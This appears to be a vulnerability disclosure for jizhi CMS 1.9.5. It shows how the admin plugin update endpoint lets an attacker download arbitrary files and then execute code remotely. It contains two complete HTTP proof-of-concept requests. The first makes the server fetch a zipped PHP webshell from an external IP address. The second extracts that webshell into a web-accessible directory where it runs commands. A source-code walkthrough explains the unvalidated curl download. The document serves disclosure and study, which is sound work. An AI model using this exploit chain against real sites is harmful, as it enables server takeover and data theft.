jizhi CMS 1.9.5 has a Arbitrary File Download RCE vulnerability via /A/c/PluginsController.php

![输入图片说明](https://foruda.gitee.com/images/1689533632013568739/f0415aac_8192872.jpeg "1.jpg")
Vulnerability lies in http://127.0.0.1/admin.php/Index/index.html
Extension management at, download location for plugin list
![输入图片说明](https://foruda.gitee.com/images/1689533671524398943/0de6fc68_8192872.jpeg "2.jpg")
Click on any plugin of the cloud plugin to download
Burp Suite Packet capture 
![输入图片说明](https://foruda.gitee.com/images/1689533855659001005/67982e86_8192872.jpeg "3.jpg")
Can test parameters download_url
![输入图片说明](https://foruda.gitee.com/images/1689533945282728796/3b3b1111_8192872.jpeg "4.jpg")
VPS enables HTTP service
![输入图片说明](https://foruda.gitee.com/images/1689533960354327484/1c355b6d_8192872.jpeg "5.jpg")
Zip compress phpshell.php and upload to VPS
![输入图片说明](https://foruda.gitee.com/images/1689534030084473124/33d89530_8192872.jpeg "6.jpg")
![输入图片说明](https://foruda.gitee.com/images/1689534056024114627/688958e9_8192872.jpeg "7.jpg")
![输入图片说明](https://foruda.gitee.com/images/1689534079681051937/12a8feab_8192872.jpeg "8.jpg")
Successfully caused any file download
POC:
POST /admin.php/Plugins/update.html HTTP/1.1
Host: 127.0.0.1
Content-Length: 86
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://127.0.0.1
Referer: http://127.0.0.1/admin.php/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=32db2410f5d69bf21ba9b21ab8093a09
Connection: close

action=start-download&filepath=jzdesign&download_url=http://119.91.26.244:8090/phpshell.zip

Vulnerability source code analysis:
Global search for start-download to determine the location of file vulnerabilities
The vulnerability is located in /A/c/PluginsController.php
![输入图片说明](https://foruda.gitee.com/images/1689534289730502296/2f0dcaf8_8192872.jpeg "9.jpg")
![输入图片说明](https://foruda.gitee.com/images/1689534312063381185/9b50259b_8192872.jpeg "10.jpg")
Line 739 starts with a case statement, followed by an fwrite write operation
![输入图片说明](https://foruda.gitee.com/images/1689534361463708768/7b4cb8d2_8192872.jpeg "11.jpg")
Located on line 718, its controllable point is $download_ url, the path for writing has been provided on line 721, so why can I download any file? The cause of the vulnerability lies in
![输入图片说明](https://foruda.gitee.com/images/1689534435944044347/141157d4_8192872.jpeg "12.jpg")
Starting from line 883, it is the default file download URL, but causing a change after the controllable $download_url on line 891, resulting in the vulnerability function being curl_ exec, due to a vulnerability in the curl resource request code, it is possible to arbitrarily request external resources and cause arbitrary file downloads

The function point that can be decompressed is located in the case statement 'file-upzip' on line 776
![输入图片说明](https://foruda.gitee.com/images/1689534633637054257/7bd81320_8192872.jpeg "13.jpg")
It will determine whether the file exists. If it exists, it will be saved in A/exts/, and the function will be called get_zip_orginalsize to start decompression work
![输入图片说明](https://foruda.gitee.com/images/1689534801331345619/c39a9007_8192872.jpeg "14.jpg")
While loop to extract each file
![输入图片说明](https://foruda.gitee.com/images/1689534835500553971/e3041acd_8192872.jpeg "15.jpg")
Successfully decompressed
POC:
POST /admin.php/Plugins/update.html HTTP/1.1
Host: 127.0.0.1
Content-Length: 32
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://127.0.0.1
Referer: http://127.0.0.1/admin.php/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=32db2410f5d69bf21ba9b21ab8093a09
Connection: close

action=file-upzip&filepath=jzdesign

Access path is http://127.0.0.1/A/exts/phpshell.php
![输入图片说明](https://foruda.gitee.com/images/1689534910345931956/da603950_8192872.jpeg "16.jpg")
Successfully executing command causing RCE

Pwn师傅/Pwn

内容风险标识

评论 (0)

Pwn师傅/Pwn .gitee-modal { width: 500px !important; }

内容风险标识